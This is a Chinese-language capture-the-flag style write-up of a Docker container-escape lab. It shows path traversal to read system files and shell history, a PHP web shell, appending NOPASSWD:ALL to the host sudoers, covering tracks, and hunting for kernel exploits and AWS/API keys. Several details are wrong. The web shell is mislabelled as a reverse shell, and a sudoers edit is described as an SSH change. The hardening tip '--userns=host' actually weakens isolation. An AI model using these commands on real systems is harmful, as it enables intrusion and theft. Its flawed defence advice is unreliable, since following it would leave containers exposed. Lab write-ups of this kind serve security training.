1. 靶机环境概述与初始侦察
这个靶机模拟了一个存在容器逃逸漏洞的Docker环境,最终目标是获取宿主机的root权限。靶机IP为10.10.10.187,我们先从基础的端口扫描开始:
bash复制nmap -sV -sC -p- 10.10.10.187 -oA forgotten_scan
扫描结果显示开放了22(SSH)和80(HTTP)端口。Web服务运行在Apache 2.4.41上,页面是个简单的登录表单。尝试常见弱口令无果后,我们转向目录枚举:
bash复制gobuster dir -u http://10.10.10.187 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现/login和/admin目录,其中/admin存在目录遍历漏洞,通过修改URL参数可以读取系统文件:
code复制http://10.10.10.187/admin../etc/passwd
2. 容器逃逸漏洞利用
在读取的/etc/passwd文件中发现用户docker-admin,继续查看其.bash_history:
code复制http://10.10.10.187/admin../home/docker-admin/.bash_history
发现关键线索 - 管理员曾用以下命令启动容器:
bash复制docker run -it --rm -v /:/host forgotten-image
这个配置存在严重问题:将宿主机根目录挂载到容器内的/host目录,且没有启用用户命名空间隔离。我们可以通过以下步骤利用:
- 在Web应用中找到文件上传点,上传反弹shell的PHP文件:
php复制<?php system($_GET['cmd']); ?>
- 获取容器内shell后,检查当前权限:
bash复制whoami
ls -al /host
- 发现可以读写/host目录,直接修改宿主机SSH配置:
bash复制echo "docker-admin ALL=(ALL) NOPASSWD:ALL" >> /host/etc/sudoers
3. 权限提升与后渗透
通过SSH以docker-admin登录后,检查sudo权限:
bash复制sudo -l
发现可以无密码执行所有命令,直接获取root shell:
bash复制sudo su
最后清理痕迹,包括:
- 删除上传的Web shell
- 移除sudoers中的新增条目
- 检查.bash_history等日志文件
4. 漏洞根源与防御措施
这个靶机暴露了三个关键问题:
-
不安全的Docker挂载:
- 永远不要将宿主机敏感目录挂载到容器
- 如需挂载,应使用:ro只读模式
- 建议使用命名空间隔离:
--userns=host
-
目录遍历漏洞:
- Web服务器应禁用../跳转
- 使用规范化路径检查
- 设置合适的文件系统权限
-
权限配置不当:
- 避免使用ALL权限
- 遵循最小权限原则
- 定期审计sudoers配置
5. 拓展攻击路径
在实际环境中,还可以尝试这些方法:
- 检查Docker socket:
bash复制ls -la /var/run/docker.sock
如果容器内能访问socket,可以直接控制Docker daemon
- 内核漏洞利用:
bash复制uname -a
searchsploit 5.4.0
匹配内核版本对应的提权exp
- 环境变量注入:
bash复制env
检查敏感的AWS/API密钥
这个靶机完整演示了从Web漏洞到容器逃逸再到特权提升的攻击链,值得防御者深入思考。